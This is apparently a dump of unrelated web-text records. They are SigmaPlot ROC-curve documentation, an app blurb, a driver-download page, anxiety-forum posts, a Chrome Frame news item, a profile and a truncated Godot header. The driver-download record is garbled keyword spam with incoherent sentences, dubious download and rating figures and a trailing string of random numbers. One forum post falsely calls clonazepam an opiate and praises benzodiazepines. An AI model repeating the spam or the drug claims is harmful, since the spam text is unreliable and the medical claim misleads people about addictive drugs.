{"text": "ROC Curves Analysis\nReceiver operating characteristic (ROC) curves are used in medicine to determine a cutoff value for a clinical test. For example, the cutoff value of 4.0 ng/ml was determined for the prostate specific antigen (PSA) test for prostate cancer. A test value below 4.0 is considered to be normal and above 4.0 to be abnormal. Clearly there will be patients with PSA values below 4.0 that are abnormal (false negative) and those above 4.0 that are normal (false positive). The goal of an ROC curve analysis is to determine the cutoff value.\nAssume that there are two groups of men and by using a “gold standard” technique one group is known to be normal (negative), not have prostate cancer, and the other is known to have prostate cancer (positive). A blood measurement of prostate-specific antigen is made in all men and used to test for the disease. The test will find some, but not all, abnormals to have the disease. The ratio of the abnormals found by the test to the total number of abnormals known to have the disease is the true positive rate (also known as sensitivity).\nThe test will find some, but not all, normals to not have the disease. The ratio of the normals found by the test to the total number of normals (known from the gold standard technique) is the true negative rate (also known as specificity). The hope is that the ROC curve analysis of the PSA test will find a cutoff value that will, in some way, minimize the number of false positives and false negatives. Minimizing the false positives and false negatives is the same as maximizing the sensitivity and specificity.\nFor the PSA test abnormal values are large (> 4) and normal values are small (<4). This is not always the case, however, so the present program allows for both conditions of abnormal being larger and abnormal being smaller.\nThe ROC curve is a graph of sensitivity (y-axis) vs. 1 – specificity (x-axis). An example is shown in Figure 1. Maximizing sensitivity corresponds to some large y value on the ROC curve. Maximizing specificity corresponds to a small x value on the ROC curve. Thus a good first choice for a test cutoff value is that value which corresponds to a point on the ROC curve nearest to the upper left corner of the ROC graph. This is not always true however.\nFor example, in some screening applications it is important not to miss detecting an abnormal therefore it is more important to maximize sensitivity (minimize false negatives) than to maximize specificity. In this case the optimal cutoff point on the ROC curve will move from the vicinity of the upper left corner over toward the upper right corner. In prostate cancer screening, however, because benign enlargement of the prostate can lead to abnormal (high) PSA values, false positives are common and undesirable (expensive biopsy, emotional impact). In this case maximizing specificity is important (moving toward the lower left corner of the ROC curve).\nFigure 1. An example ROC curve.\nAn important measure of the accuracy of the clinical test is the area under the ROC curve. If this area is equal to 1.0 then the ROC curve consists of two straight lines, one vertical from 0,0 to 0,1 and the next horizontal from 0,1 to 1,1. This test is 100% accurate because both the sensitivity and specificity are 1.0 so there are no false positives and no false negatives.\nOn the other hand a test that cannot discriminate between normal and abnormal corresponds to an ROC curve that is the diagonal line from 0,0 to 1,1. The ROC area for this line is 0.5. ROC curve areas are typically between 0.5 and 1.0 like shown in Figure 1.\nTwo or more tests can be compared by statistically comparing the ROC areas for each test. The tests may be correlated because they occurred from multiple measurements on the same individual. Or they may be uncorrelated because they resulted from measurements on different individuals. The ROC Curves Analysis Module refers to this as “Paired” and “Unpaired”, respectively, and can analyze either situation.\nThe test measurements may contain missing values and two methods are provided to handle missing values when comparing ROC areas – pairwise deletion and casewise deletion. This is described in detail later.\nGiven a value for the probability that the patient has the disease (pre-test probability) the probability that the patient has the disease, given the value of the test measurement, can be computed. Also, given a value for the false-positive/false-negative cost ratio (for the screening example above, the false-negative cost would be greater than the false-positive cost), an optimal test value cutoff can be computed. The present program allows entry of the pre-test probability and the false-positive/false-negative cost ratio.\nData can be entered in two formats in SigmaPlot – Indexed and Grouped.\nIndexed Data Format\nThis is the format found in statistics programs such as SYSTAT and SigmaStat. “Indexed” is the terminology used in SigmaStat. It has one column that indexes another column (or other columns). It is also the format of the output of logistic regression where ROC curves are used to determine the ability of different logistic models to discriminate negative from positive test results (normals from abnormals). Each data set consists of a pair of columns – a classification variable and a test variable. The classification variable has a binary state that is either negative (normal) or positive (abnormal).\nMany programs use a value of 1 for positive and 0 for negative. The classification variable is required to be located in column 1 of the worksheet. The test variable is a continuous numeric variable and contains the test results. A single test variable will be located in column 2.\nMultiple test variables will be located in multiple columns starting in column 2. There is no built-in limit for the number of test variables. There is only one classification variable for multiple test variables and it is located in column 1. The test variable columns must be left justified and contiguous. Therefore no empty columns to the left of or within the data are allowed.\nThe following example shows a few rows of data for two data sets. The first column is the classification variable. It contains a column title “Thyroid Function” which is the classification variable name. It also contains the two classification states “Hypothyroid” and “Euthyroid” (normal thyroid function).\nHypothyroid and Euthyroid are the abnormal and normal classification states, respectively. T4 and T5 are the names of different blood tests that will be used in the ROC analysis to discriminate between normal and abnormal and then compared to determine which is the better test. The classification variable must be in column 1 and the two test variables in the two columns adjacent to it\nThe classification variable name will be obtained from the column 1 column title if it exists. The test names will be obtained from the column titles of the test variable columns if they exist. The classification state names will be obtained from the entries in the cells of column 1.\nIf no column titles have been entered for the test variables then default names for the tests, “Test 1”, “Test 2”, etc., will be used and displayed in the graphs and reports. The test variable names should be unique but the program will subscript any identical names that are not.\nFigure 2. Indexed data format for two tests. The test names are T4 and T5, the classification states are Euthyroid and Hypothyroid and the Classification variable name is Thyroid Function. The index column is always column 1 and data columns must be left adjusted.\nThere must be two or more non-missing data points for each test for each classification state. Missing values are handled automatically by the analysis. For data columns, missing values are everything but numeric values (blank cells, the SigmaPlot double-dash missing value symbol, “+inf”, “-inf”, “NaN”, etc.). Missing values are ignored for all computations except the Paired area comparison (see the Missing Value Method section) where they are handled using one of two possible algorithms.\nGrouped Data Format\nThe grouped data format consists of pairs of data columns – one pair for each test. One column in a data pair consists of the negative (normal) data values and the other column for positive (abnormal) values. So, for example, if two tests are to be compared, the worksheet will contain four columns of data – the first two columns for the first test and the third and fourth column for the second test.\nA specific column title format is used to identify the test associated with the data column pair and the classification states within each pair. The user is encouraged to use this format since it clearly identifies the data in the data worksheet and will annotate all the graphs and reports generated.\nIt is not necessary to use column titles as the program will identify column pairs starting in column 1 with the generated test names Test 1, Test 2, etc., and will arbitrarily assign “1” and “0” classification state names to the first and second columns, respectively, but this is clearly not the best way to organize the data. Since the test names and classification states are numerical it is also more difficult to interpret the results.\nColumn Title Convention for Grouped Data\nThis column title convention is a simple way to identify worksheet data for the Grouped data format. The following example shows a few rows for two data sets. The first two columns contain the data for the T4 test. The first column “T4 – Euthyroid” is the column with the normal data for test T4. The column title consists of the test name followed by a minus sign followed by the classification state. Spaces on either side of the minus sign are ignored. The second column “T4 – Hypothyroid” is the column with the abnormal data for test T4. The third and fourth column titles are the same as the first two except the second test name T5 is used.\nFigure 3. Grouped data format for two tests. This is the same data as in Figure 1. There are two tests T4 and T5. Each test consists of a pair of data columns. In this case T4 is in columns 1 and 2 and T5 in columns 3 and 4. The “Test-State” column title format is used to identify the two tests and the normal (Euthyroid) and abnormal (Hypothyroid) states.\nThe test names in both columns of a column pair must be the same. Also there must be exactly two classification states in the column titles.\nLike Indexed format, missing values in the worksheet cells are ignored except for special handling when comparing ROC areas (see the Missing Value Method section).\nSelecting ROC Curves from the SigmaPlot Toolbox ribbon opens the dialog:\nTest and classification state names from the indexed data shown in Figure 2 of the Data Entry section are displayed in this dialog.\nData Selection Options\nData Format (Automatic Determination)\nIn most case the program will identify the data format from the information in the data worksheet. In the dialog above the format was identified as Indexed. You may select from the two formats – Indexed and Grouped.\nAvailable Data Sets – Selected Data Sets\nSelect one or more of the available data sets by clicking on them in the Available Data Sets window and then clicking on the Add button. If desired, you may then select a test name in the Selected Data Sets window and click Remove to deselect the test.\nIf two or more data sets are selected then the Data Type option for correlated tests is made available\nYou may select either Paired, for correlated tests, or Unpaired. If Paired is selected the ROC areas and area comparisons are determined using the DeLong, Delong and Clarke-Pearson method(2). If Unpaired is selected the areas are computed using the Hanley and McNeil method(3) and the areas are compared using a Z test.\nMissing Value Method\nIf missing values exist then two options are available for the pairwise comparison of ROC areas – Pairwise Deletion and Casewise Deletion.This option is not available if no missing values exist.\nPairwise deletion only deletes rows containing missing values for the particular pair being analyzed – not for an entire row of data. Fewer data values are deleted using this method. There are situations when pairwise deletion will fail but this is the option to use when it is possible.\nCasewise deletion deletes all cells in any row of data containing a missing value. Much more data may be deleted using this option. To better understand the difference, consider a simple example of two data columns of equal length one of which has no missing values and the other has one missing value.\nWhen ROC areas are being compared, certain computations on these two columns will be done pairwise – the first column with itself, the first column with the second column and the second column with itself. When the column without a missing value is being compared with itself no row deletions occur for pairwise deletion.\nFor casewise deletion, however, the row that contains the missing value will be deleted from both data sets. So, for casewise deletion, the computation involving the column without a missing value with itself will be done with one row deleted (the row corresponding to the missing value in the other data set). The program determines when pairwise deletion is not valid and informs the user when this is the case.\nPositive State Options – Classification State and Direction\nThe two classification states are referred to as “Negative” (normal) or “Positive” (abnormal). The ROC analysis software must be informed which state is “Positive” and whether the test measurement values for the positive state are “High”, meaning higher than those of the negative state, or “Low”, meaning lower than those of the negative state.\nAccepted normal values for the PSA (prostate specific antigen) test are less than 4 ng/ml and abnormal values are higher than this. Thus if the two classification states names are “positive” and “negative” then the Positive state is “positive” and the Positive Direction is “High”. In this case you would select the radio button next to “positive” and “High”.\nOn the other hand, for the T4 (thyroxine) test for hypothyroidism the T4 values are lower in the abnormal state than for the normal state. In this case the abnormal Positive State is “Hypothyroid” and the Positive Direction is “Low”. So you would select the radio button next to “Hypothyroid” and “Low”.\nWhat happens if you select the incorrect option? Sensitivity (specificity) is defined in terms of the positive (negative) state. So if the positive state is incorrectly selected then sensitivity and specificity will be incorrectly defined (switched) and the ROC curve will have the X and Y axes switched. This will result in an ROC curve that appears below the diagonal unity line. It will have an area less than 0.5. The program will detect this and give you the options\nIt is possible that there is something wrong with the data so you can Abort the analysis and correct the problem. More likely you have selected the incorrect positive state or direction so you can Retry the analysis with correct selections. In rare occasions for multiple tests some tests will have areas greater than 0.5 and one or more will have areas less than 0.5. In this case you can Ignore this warning and continue with the analysis.\nConfidence intervals are computed for statistics in both the Sensitivity & Specificity and Area Comparison reports. You can generate 90, 95 and 99% confidence intervals.\nCreate Sensitivity and Specificity Report\nCutoff values are created between each test data value in the (sorted) data set. If there are a large number of data points and several tests then there will be a large number of cutoff values and the Sensitivity & Specificity Report can be very long. The checkbox:\nallows you to turn off this report. If you turn off this report then all report options in the dialog below this are not required and are disabled.\nYou may display sensitivities, specificities and probabilities in either fraction or percent format. Selecting Percents also requires the pre-test probability to be entered as a percent.\nCreate Post-Test Results\nSelecting this option allows entry of the pre-test probability. It also enables the possible entry of the false-positive/false-negative cost ratio. Given a pre-test probability the program will create post-test probabilities, both the positive predictive value (PV + = probability of disease given a positive test result) and the negative predictive value (PV – = probability of no disease given a negative test result), for each cutoff value. If the cost ratio option is selected then the optimal cutoff value will be computed. All of these results are displayed for each test in the Sensitivity & Specificity report.\nROC Graph Options\nAll of the graph options in the dialog apply to the ROC graph. They allow you to add a diagonal line to the graph, add grid lines, add symbols for sensitivity and specificity at each cutoff point and change the ROC plot lines from solid to different line styles.\nTypical results of the ROC analysis are shown in the following example from the Notebook Manager.\nThe first section entitled “Ovarian Cancer” contains the worksheet containing the raw data. The program created the next three sections that contain two graphs and two reports. The contents of the two graphs:\n- ROC Curves\n- Dot Histogram\n- and two reports\n- Sensitivity & Specificity\n- ROC Areas\nare described in the next sections.\nROC Curves Graph\nThe ROC curves graph for three data sets is shown in Figure 4. These graphs are derived from numerical results in the worksheet entitled Graph Data. The graph title is obtained from the section name containing the raw data. The legend shows the test names and the ROC areas for each curve. The diagonal line and grids options were selected for this graph.\nFigure 4. The ROC curves graph for three tests.\nOf course this graph can be edited in any way you wish. You might want to change the starting color of the color scheme used for the line colors. You can do this by double clicking on one of the ROC plot lines and then right clicking on the Line Color listbox as shown next.\nDot Histogram Graph\nDot histograms for the data associated with the ROC curves in Figure 4 are shown in Figure 5.\nFigure 5. Dot histogram pairs for each test. The horizontal lines and the tables below the graph show the optimal cutoff values determined from the pre-test probability and cost ratio.\nThe graph title is obtained from the title of the section containing the raw data. The x-axis tick labels are obtained from the test names and the classification state names. The tick labels will rotate if they are too long to fit horizontally. The symbol layout design allows for symbols to touch horizontally and nest vertically.\nIf values for pre-test probability and false-positive/false-negative cost ratio are entered then the optimal cutoff values for each test are computed and represented as a horizontal line across the two dot histograms for each test. The numeric values for the optimal cutoff parameters are shown as tables below the x-axis.\nSensitivity & Specificity Report\nThe sensitivity & Specificity report contains results for all tests with additional tests results placed in report rows below those of prior tests. The results for each test can be separated into three parts: 1) optimal cutoff value, 2) sensitivity and specificity versus cutoff values and 3) likelihood ratios and post-test probabilities.\nIf values for both pre-test probability and cost ratio have been entered then the optimal cutoff is calculated. A slope of the tangent to the ROC curve m is defined in terms of the two entered values (P = pre-test probability)(1)\nThe optimal cutoff value is computed from sensitivity and specificity using the slope m by finding the cutoff that maximizes the function (1)\nThe results of this computation in the Sensitivity & Specificity report are shown in Table 1.\nTable 1. Optimal cutoff results in the Sensitivity & Specificity report.\nFor this data set, the optimal cutoff is 7.125 for a pre-test probability of 0.5 and cost ratio of 1.0.\nSensitivities, specificities and their confidence intervals are listed as a function of cutoff value in the second part of the report. A portion of these results is shown in Table 2. These results can be expressed as fractions or percents by using the Fractions/Percents option.\nTable 2. Sensitivity and specificity results in the Sensitivity & Specificity report.\nThe third part of the Sensitivity & Specificity report contains the likelihood ratios and post-test probabilities.\nThe positive and negative likelihood ratios are defined respectively as\nThe post-test probabilities are the probability of disease given a positive test (PV+) and the probability of no disease given a negative test (PV-). These will be computed when a pre-test probability has been entered. Using P = pre-test probability, the equations used for these probabilities are\nA portion of the report showing the likelihood and post-test probabilities results is shown in Table 3.\nTable 3. Positive and negative likelihood ratios, LR+ and LR-, and post-test probabilities, PV+ and PV-, in the Sensitivity & Specificity report.\nThe positive likelihood ratio is not defined for some cutoff values since specificity = 1.\nROC Areas Report\nThe ROC Area report consists of two parts: 1) ROC areas and their associated statistics and 2) pairwise comparison of ROC areas. An example of a report is shown in Table 4.\nTable 4. An example ROC Areas report. From top to bottom it shows the type of analysis used together with the missing value method, the ROC areas and associated statistics and a pairwise comparison of ROC areas.\nIn this case there are three correlated tests. Row two of the report shows that a Paired Analysis was performed and, since there were missing values in the data, Pairwise Deletion of missing values was selected to compare the areas.\nThe first section of the report shows the ROC curve areas for the three tests. This is followed by the standard error of the area estimate, the 95% confidence interval (90% and 99% are also available) and the P value that determines if the area value is significantly different from 0.5. The sample size and the number of missing values for each classification state are given. The number of missing values reflects only what is seen in the data and does not give the number used for each computation-pair in the pairwise-deleted comparison of areas.\nThe second section shows the results of the pairwise comparison of areas. The method of DeLong, DeLong and Clarke-Pearson(2) is used to compare areas when the Paired data type option is selected. When the Unpaired data type is selected, areas are compared using a Z test. The report shows results for all pairs of data sets. The difference of each area pair and its standard error and 95% confidence interval are computed. This is followed by the chi-square statistic for the area comparison (or Z statistic if Unpaired is selected) and its associated P value.\nFormatted Full Precision Display\nThis report presents the numeric results in a four significant digit format with full precision available. Double click on any cell (except the confidence intervals) to display the number at full precision.\nResults data in both reports can be used to create additional graphs. Some examples seen in the literature are shown here.\nSensitivity and Specificity vs. Cutoff\nThe data for the graph in Figure 6 is from the Sensitivity & Specificity report in columns 1, 2 and 4. Use the Data Sampling option in Graph Properties, Plots, Data to specify the row range for the graph (you can also drag select the rows in the worksheet to do this).\nFigure 6. Graph of sensitivity and specificity vs. cutoff for one test using data from columns 1,2 and 4 of the Sensitivity & Specificity report.\nThe positive and negative likelihood ratios for three different imaging modalities are shown in Figure 7 (the data is artificial). The data is in columns 1, 6 and 7 of the Sensitivity & Specificity report. The values associated with the optimal cutoff are shown as solid symbols. The largest positive likelihood and smallest negative likelihood at the optimal cutoff is associated with magnetic resonance imaging (MR).\nFigure 7. Positive and negative likelihood ratios graphed from data in the Sensitivity & Specificity report from columns 1, 6 and 7. The results for three tests are shown together with values associated with the optimal cutoff (solid symbols).\nOptimal Cutoff vs. Cost Ratio\nFrequently it can be difficult to determine a value for the false-positive/false-negative cost ratio. So it is worth performing a sensitivity analysis (sensitivity here means how much one variable changes with changes in a second variable) to see whether the cutoff value changes significantly in the range of cost-ratio values of interest. The ROC Curves Module was run multiple times for different cost ratios and a graph of optimal cutoff vs. cost ratio for the three imaging modality tests is shown below.\nFigure 8. Optimal cutoff values obtained from multiple runs of the program. Regions of insensitivity, or strong sensitivity, to cost ratio can be identified.\nIf the relative cost of a false-positive is much greater than that of a false-negative then the cost ratio is greater than 1. But lets assume that we don´t know exactly how much greater it is but have some idea that it should be in the range of 2 to 5, say. Looking at the optimal cutoff for the best imaging modality (MR, green line) we find that it doesn´t change for cost ratios from 2 to 20. So the optimal cutoff is insensitive to cost ratio and, in this case, it is not important to know a precise value for cost-ratio.\nPost-Test Probability vs. Pre-Test Probability\nGiven values of sensitivity and specificity associated with the optimal cutoff a graph of post-test probabilities as a function of pre-test probability can be created using equations (5) and (6). The post-test probability of disease when the test is positive, blue lines in Figure 9, was obtained from equation (5) and the post-test probability of disease when the test was negative, red lines, was obtained from 1.0 minus equation (6). A transform was written in SigmaPlot implementing these two equations that generated the post-test probabilities for a range of pre-test probabilities.\nThe results for the best test, MR, and worst test, US, are shown. The MR test is clearly better since the post-test probability range, from negative test to positive test, is larger. Thus given a positive test the patient is more likely to have the disease using the MR test rather than the US test. Similarly, given a negative test it is less likely that the patient has the disease using the MR test.\nFigure 9. Post-test probabilities of disease given positive and negative test results. The MR test is based on sensitivity = 0.94 and specificity = 0.97 whereas the US test used sensitivity = 0.78 and specificity = 0.85.\n- Zweig, MH, Campbell, G. Receiver-operating characteristic (ROC) plots: A fundamental evaluation tool in clinical medicine. Clin Chem 1993;39/4, 56-577.\n- DeLong, ER, DeLong, DM, Clarke-Pearson, DL. Comparing the areas under two or more correlated receiver operating characteristic curves: a nonparametric approach. Biometrics 1988;44, 837-845.\n- Hanley,JA, McNeil, BJ.The meaning and use of the area under a receiver operating characteristic (ROC) curve.Radiology 1982, 143, 29-36.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 5839, "token_count_with_eod": 5840, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "What is MDB Tool - For Microsoft Access?\nMDB Tool is the best resource for viewing Microsoft Access databases on a Mac. You can use it to export your data directly into SQL (for creating an SQLITE database) or directly to CSV and launch it into Excel.\n- Support for Unicode data.\n- Export options for both SQL & CSV.\n- Quick table view count.\nPlease note: Databases must be in the Access 2007 or below format.\nMDB Tool - For Microsoft Access Screenshots\nMDB Tool - For Microsoft Access information", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Acer aspire 5336 atheros wlan driver acer aspire 5336 wlan driver acer aspire 5336 drivers acer aspire notebook aspire 5336. Download free driver for ras async adapter 2000 xp w2k3. The wan miniport is a software adapter used by the operating system to access the wan. Latest acer driver working fine, comcast router working fine, did all the remedies on the web except the rasppoe. A dependable celeron processor handles applications with ease, and the 15. I have an aspire 5336 and i just updated to windows 10. For a few days my wireless internet connection keeps dropping. Wan miniport pptp driver for windows 7 32 bit, windows 7 64 bit, windows 10, 8, xp. Apr 28, 2012 wireless network adapter missing for acer aspire 5336.\nAcer ndis wan miniport adapter updated driver found 14. Uploaded on 412019, downloaded 3749 times, receiving a 79100 rating by 2605 users. Lg xnote, gateway m6888u, fujitsu fmvnb16c, acer aspire 5670. Download atheros wireless lan driver for windows 7 3264bit.\nI just downloaded the iso for norton ghost 15, created the installation cd, installed ghost, and ran the driver validation from the installation cd. Elsa is currently preparing to launch an ingenious graphics card on the basis of nvidia geforce gtx 650 ti adapter. Wireless network adapter missing for acer aspire 5336. Atheros wireless lan driver for acer aspire 5336 v.\nLatest wan miniport pppoe driver download for windows 7, 8. Usability, performance and portability are all disappointing and make this. Uploaded on 4122019, downloaded 508 times, receiving a 89100 rating by 5 users. Working how to update wan miniport pppoe driver in windows. Connecting throught a wan miniport requires a pppoe connection. Problems with wan miniport drivers windows 7 help forums. You see, i keep getting a internet connection box pop up when i try and connect to the net like a dial up connection but im on broadband. Good afternoon acer community, im having a prolonged issue with the internet stability of my aspire notebook that i purchased in 2012. Wan miniport pppoe wan miniport pptp wireless intermediate driver. Here are the steps to reinstall wan miniport devices. Buy memory ram upgrades for your acer aspire notebook 5336 2615 100% compatibility guaranteed. Which site will i download wan miniport ip, ipv6 l2tp network monitor pppoe pptp sstp from. Missing drivers for wan miniport windows 7 help forums. Right click on the wireless adapter and see if youll have an option for enable.\nJan 06, 2012 missing drivers for wan miniport i have a toshiba satellite a660047 psaw3c047017 running windows 7 professional 64bit. My pc hp mini laptop need these software to run and connect to the internet, all these wan network show yellow warning sign in my pc and my pc says i need to get these software to install before i can connect to the internet. When i start photoshop it says i need to update the driver to the graphics card. When im multi tasking it sometimes becomes unresponsive for a few seconds, no biggie, but it annoys me. Wan miniport ipv6 driver for windows 7 32 bit, windows 7 64 bit, windows 10, 8, xp. This will help if you installed an incorrect or mismatched driver. Download the latest driver for wan miniport pppoe, fix the missing driver with wan miniport pppoe home. Acer aspire 5336 laptop drivers for windows 10 x64.\nAcer aspire notebook 53362615 memory ram upgrades free. I have an acer aspire 5336, nothing special at all i am finding a bottleneck on the cpu i think, ive always had this, even when new. Acer aspire 5336 notebook bios acer aspire 5336 notebook bios. Aspire 5336 windows 10 and device driver update acer community. Thanks to the implementation of a fullfledged gk110 core and the increase of clock frequencies, the card is going to compete with gtx titan model, as well as with a toptier radeon r9 290x from amd. Wan miniport pppoe driver for windows 7 32 bit, windows 7 64 bit, windows 10, 8, xp. Is it possible to upgrade my aspire 5336 processor corei5. The factory restore was performed due to a bad win10 upgrade. Acer laptop aspire a31553g driver download and accessory. Huge range of laptops with free delivery and returns on eligible orders.\nMost of those on windows system ike,l2tp,pptp are for builtin windows vpn functionality, ip. Nov 17, 2010 this will help if you installed an incorrect or mismatched driver. Download acer aspire 5336 laptop drivers for windows 10 x64. Code 10 for virtual wifi miniport adapter acer aspire.\nWan wide area network miniport driver is a driver software that allows alternative network connection in your windows computer. Acer ndis wan miniport adapter updated driver installation guide. Just noticed im having a code 10 for the virtual miniport adapter and windows cannot fix it alone please help. Save acer aspire 5336 pew72 to get email alerts and updates on your ebay feed. Acer laptop aspire a31553g 4 stars by 17 users laptop. Download acer aspire 5336 notebook atheros wlan driver 9. Wan miniport pppoe teredo tunneling pseudointerface. Install acer aspire 5336 laptop drivers for windows 10 x64, or download driverpack solution software for automatic drivers intallation and update. Uploaded on 2122019, downloaded 5052 times, receiving a 80100 rating by 3496 users. You can help protect yourself from scammers by verifying that the contact is a microsoft agent or microsoft employee and that the phone number is an official microsoft global customer service number.\nIm using an ethernet cable from the comcast router to my miniport. The approved driver for the acer laptop is qualcomm atheros ethernet, computer says its fine. I looked up the driver on both the intel and the acer sites but since this computer is so old there doesnt seem to be an update. Battery, keyboard, fan, motherboard, ram, dvd, wifi. I have an acer aspire 5336 that i have performed a factory reset on. I just checked my acer one netbook, which i run wirelessly and no wan miniport there either.\nProblems can arise when your hardware device is too old or not supported any longer. Hi, here are some troubleshooting steps that may do the trick for you. Aspire 5336 windows 10 and device driver update acer. Under network adapters, you will see wan miniport devices ip, l2tp, pppoe, pptp.\nAcer aspire 5336 laptop keyboard keys laptop key replacement kit includes key cap, hinge clip, and cup. Not having these installed caused the system to have network driver installation and connectivity issues. Pppoe wan miniport driver well the labtop is saying its connected to the router all the paswrds and stuff has been put in so its connected to the internet but my ie is not registering the connection. Aug 14, 2011 and when i go into device manager, and look for my network drivers, all i have in there is a wan miniport with a excalmation mark next to it. How to fix wan miniport driver issues in windows os. Wan miniport pppoe driver is needed for the operating system to establish a point to point protocol over ethernet. Make sure that new replacement screen has same size, resolution, backlight type as your original screen.\nAcer aspire as7750g9810 internet stability acer community. Acer ndis wan miniport adapter update driver, windows vista drivers. Download ras async adapter driver for windows 2000 windows. After a line of rumors and leaks, nvidia has officially introduced its latest powerful graphics card, codenamed geforce gtx 780 ti. The aspire 5336 meets your daily computing needs at home or on the road and offers hd media playback. After two days of trying everything to get an internet connection back, i have given up and signed up here to get some help. Windows 7 wan miniport pppoe missing on thinkcentre a58.\nUploaded on 1212019, downloaded 303 times, receiving a 89100 rating by 336 users. Uploaded on 4242019, downloaded 6402 times, receiving a 76100 rating by 4324 users. Acer aspire 5336 drivers download for windows 7 blogger. Tech support scams are an industrywide issue where scammers trick you into paying for unnecessary technical support services. Wide area network wan miniport driver is handy driver software that enables alternative network connection methods in your windows. Free download driver utilities for acer notebook laptop aspire 5336 direct links. Wan miniport driver issues in windows 10, 8, 7 solved driver. After you back up your important files and make your recovery discs and also your drivers and applications disc, my advice would be to access a command prompt from outside of windows and run diskpart clean to completely. And i got windows xp sp2 and i need drivers for wireless.451 313 227 124 880 707 483 1318 1527 746 1421 695 784 852 1304 536 1221 898 1056 1096 215 938 905 185 1102 443 772 1163 1084 1141 101 1243 290 865 485", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2333, "token_count_with_eod": 2334, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Originally posted by I_bRAD\nI tried the meds route and it was a really bad idea.\nMy advice: Stay away from the benzos (ie. Atavan, valium, xanax... basically any drug whose non-brand name ends in \"am\")\nThose are addictive and they'll cause more trouble in the long term.\nOriginally posted by HouseHeadSacha\nI disagree. They are \"habit-forming\" ( its an opiate!) as it says on the pamphlet but they DO help. It is a short term solution but do they ever make you feel RELAXED! Recommended to get \"out\" of an attack, or if you feel one coming on, or even if you're just feeling too anxious/nervous! (I took clonazepam for a few months, and it worked well.) I remember when I was taking them, I would think to myself, \"Why can't I feel like this all the time\"? Just so damn chill/laid back/relaxed!---but NOT a headfuck!\nOriginally posted by phunkymunky\nugh anxiety/panic. i have generalized anxiety disorder. been dealing with it since fall of 2002. it's been the worst thing i've ever gone through. i can't really elaborate on it right now as i need to go to bed. maybe tomorrow. but ya it's been hell and i'm still in hell. about to start a new med. and yes the meds can make things worse but they can also make things better.\nativan was amazing and worked so well when i took it. i had to take it while on vacation last year or i would not have enjoyed my vacation. i've been off work on disability since sept and just returned back and my anxiety is really bad this week.\nOriginally posted by ~NurSe JibZ~\nthere are tons of sites on the net dedicated to this as well with lots of helpful info. look into it, i have no doubt you will be ok. if you want a dope therapist and live in the downtown toronto area i can recommend mine. she is super cool.\npm me if you want deets.\nOriginally posted by Jeffsus\nGet closer to baseline. Do not drink caffeine or use drugs, including alcohol and nicotine! Alcohol, nicotine, weed, all these things affect your sober times in unpredictable ways. Withdrawal from them is well known to affect things like anxiety. You need to \"get over the hump\" which can take quite a while; though for many people an order of a week should be good.\nTry to get some intense exercise at least a couple times a week, which will help you to sleep regularly, which helps with anxiety a lot, in my experience.\nEat healthy foods, avoid blood sugar spikes and depressions.\nThis simple advice is a necessary starting spot for someone in your condition. You also obviously need to see a doctor.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 605, "token_count_with_eod": 606, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Google is shutting down the Chrome Frame product in January 2014. Launched in 2009, Google Chrome Frame is a free plugin for Internet Explorer 6, 7, 8 and 9 on Windows 7, Vista or XP SP2+ that serves as a way to view websites with modern HTML5 elements for older versions of the browser assuming that they have right meta tags.\nGoogle Chrome Frame seems to be no longer needed now that newer versions of Internet Explorer support HTML5. However, there has been some complaints from people that work at universities, hospitals, and government organizations where upgrades do not happen often.\n“Today, most people are using modern browsers that support the majority of the latest Web technologies,” stated Google Chrome engineer Robert Shield. “Better yet, the usage of legacy browsers is declining significantly and newer browsers stay up to date automatically, which means the leading edge has become mainstream.”\nShield recommended that IT managers use Chrome for Business in conjunction with the Legacy Browser Support. Legacy Browser Support is a Chrome extension that lets you launch an installed legacy version of IE when necessary.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 226, "token_count_with_eod": 227, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "AboutOriginal '03 Gaian. ♫\nI'm not around much anymore. I do tend to check my PM's from time-to-time.\nFeel free to send me a PM.\nAnd I swore I'd give you the key to my most tiniest locket\nwhere I store my most deviest secrets you can find in most pockets", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*************************************************************************/\n/*  nativescript.h                                                       */\n/*************************************************************************/\n/*                       This file is part of:                           */\n/*                           GODOT ENGINE                                */\n/*                      https://godotengine.org                          */\n/*************************************************************************/\n/* Copyright (c) 2007-2019 Juan Linietsky, Ariel Manzur.                 */\n/* Copyright (c) 2014-2019 Godot Engine contributors (cf. AUTHORS.md).   */\n/*                                                                       */\n/* Permission is hereby granted, free of charge, to any person obtaining */\n/* a copy of this software and associated documentation files (the       */\n/* \"Software\"), to deal in the Software without restriction, including   */\n/* without limitation the rights to use, copy, modify, merge, publish,   */\n/* distribute, sublicense, and/or sell copies of the Software, and to    */\n/* permit persons to whom the Software is furnished to do so, subject to */\n/* the following conditions:                                             */\n/*                                                                       */\n/* The above copyright notice and this permission notice shall be        */\n/* included in all copies or substantial portions of the Software.       */\n/*                                                                       */\n/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       */\n/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    */\n/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/\n/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  */\n/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  */\n/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     */\n/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                */\n/*************************************************************************/\n\n#pragma once\n\n#include \"core/io/resource_loader.h\"\n#include \"core/io/resource_saver.h\"\n#include \"core/method_info.h\"\n#include \"core/oa_hash_map.h\"\n#include \"core/ordered_hash_map.h\"\n#include \"core/os/thread_safe.h\"\n#include \"core/resource.h\"\n#include \"core/script_language.h\"\n#include \"core/self_list.h\"\n#include 